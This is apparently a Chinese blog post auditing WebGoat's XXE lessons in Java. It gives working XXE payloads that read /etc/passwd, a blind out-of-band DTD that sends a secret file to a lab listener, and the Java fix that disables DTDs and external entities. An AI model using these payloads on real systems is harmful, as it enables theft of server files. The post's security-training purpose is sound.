Java代码审计07:WebGoat XML外部实体注入(XXE)

0x00 前言

走个形式~

0x01 Let’s try

我们直接来看一下题目

题目的意思是让我们列出root下的文件,这里只有一个评论的功能

image-20201113144619047

发现传输的格式是xml,很简单我们引入我们的dtd文件就可以了

<!DOCTYPE ANY [
       <!ENTITY js SYSTEM "file:///etc/passwd">
]>

image-20201113144749489

首先我们得知道为什么会出现xxe的问题

这里分为三步

首先,我们的功能点得解析我们的xml格式的数据(也就是xml数据我们是可控的)

其次,得允许dtd实体的引入

那么我们接下来来看一下代码是哪里出现问题并且进行定位一下

参考链接:https://www.coder.work/article/64134

路由是 /xxe/simple 直接全局搜索

image-20201113145256531

首先看到代码中,我们的评论是被Comment类封装的,然后利用Comments类中的parsexml来解析我们传递过去的xml格式的内容

跟过去看一下

查看下面这段代码可以发现,我们能控制我们输入的xml 同时也没有对实体进行一个限定,所以导致我们传入的xml能被正常解析从而执行命令

image-20201113182333014

那么如何进行修复呢

参考链接 : https://www.coder.work/article/64134

其实也比较简单,就是添加两行代码就行了,将支持外部实体和支持dtd都给禁止了

image-20201113185220432

代码如下:

package XXE;

import lombok.var;

import javax.xml.bind.JAXBContext;
import javax.xml.bind.JAXBException;
import javax.xml.stream.XMLInputFactory;
import javax.xml.stream.XMLStreamException;
import java.io.StringReader;

public class XXERepair {

    public void Repair() throws JAXBException, XMLStreamException {
        String xml = "<?xml version=\"1.0\"?>\n" +
                "<!DOCTYPE doc [ \n" +
                "<!ENTITY xxe SYSTEM \"file:///etc/passwd\">\n" +
                "]><comment><text>&xxe;</text></comment>";
        var jc = JAXBContext.newInstance(Comment.class);
        // 创建了我们的工厂 读取xml的一个工厂
        var xif = XMLInputFactory.newInstance();
        // 不支持外部实体
        xif.setProperty(XMLInputFactory.IS_SUPPORTING_EXTERNAL_ENTITIES, false);
        // 不支持dtd
        xif.setProperty(XMLInputFactory.SUPPORT_DTD, false);
        var xsr = xif.createXMLStreamReader(new StringReader(xml));
        // 将我们的xml 变成我们的java对象
        var unmarshaller = jc.createUnmarshaller();
        unmarshaller.unmarshal(xsr);

    }


    public static void main(String[] args) throws JAXBException, XMLStreamException {

        XXERepair test = new XXERepair();
        test.Repair();
    }
}

这里直接把webgoat的拿过来了

Comment 类

package XXE;


import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.Setter;

import javax.xml.bind.annotation.XmlRootElement;

@Getter
@Setter
@AllArgsConstructor
@NoArgsConstructor
@XmlRootElement
public class Comment {
    private String user;
    private String dateTime;
    private String text;
}

参考链接:

https://cloud.tencent.com/developer/article/1537654

0x02 Modern REST framework

和上题很相似,改一下content-type就可以了

0x03 Blind XXE assignment

这题就是盲注,很简单

我们只需要把我们的恶意dtd放在我们的webwolf上,然后发送payload远程调用我们的恶意dtd,然后发送到我们的webwolf上就行了

首先是我们的evil.dtd

<!ENTITY % file SYSTEM "file:///Users/xxxx/.webgoat-v8.1.0//XXE/secret.txt">
<!ENTITY % int "<!ENTITY % send SYSTEM 'http://localhost:9090/%file;'>">

然后发送payload

<?xml version="1.0"?>
<!DOCTYPE convert [ 
<!ENTITY % remote SYSTEM "http://localhost:9090/files/admin123/test2.dtd">
%remote;%int;%send;
]>
<comment>  <text>111</text></comment>

然后请求就发送过来了

image-20201113202041501

我们只需要url解码一下就行了

源码层面其实还是一样的,无非就是不返回我们的信息了

image-20201113202351711

这里有个if判断不让我们直接使用file协议进行直接读取,所以要读取只能借助evil.dtd

点赞

发表评论

昵称和uid可以选填一个,填邮箱必填(留言回复后将会发邮件给你)
tips:输入uid可以快速获得你的昵称和头像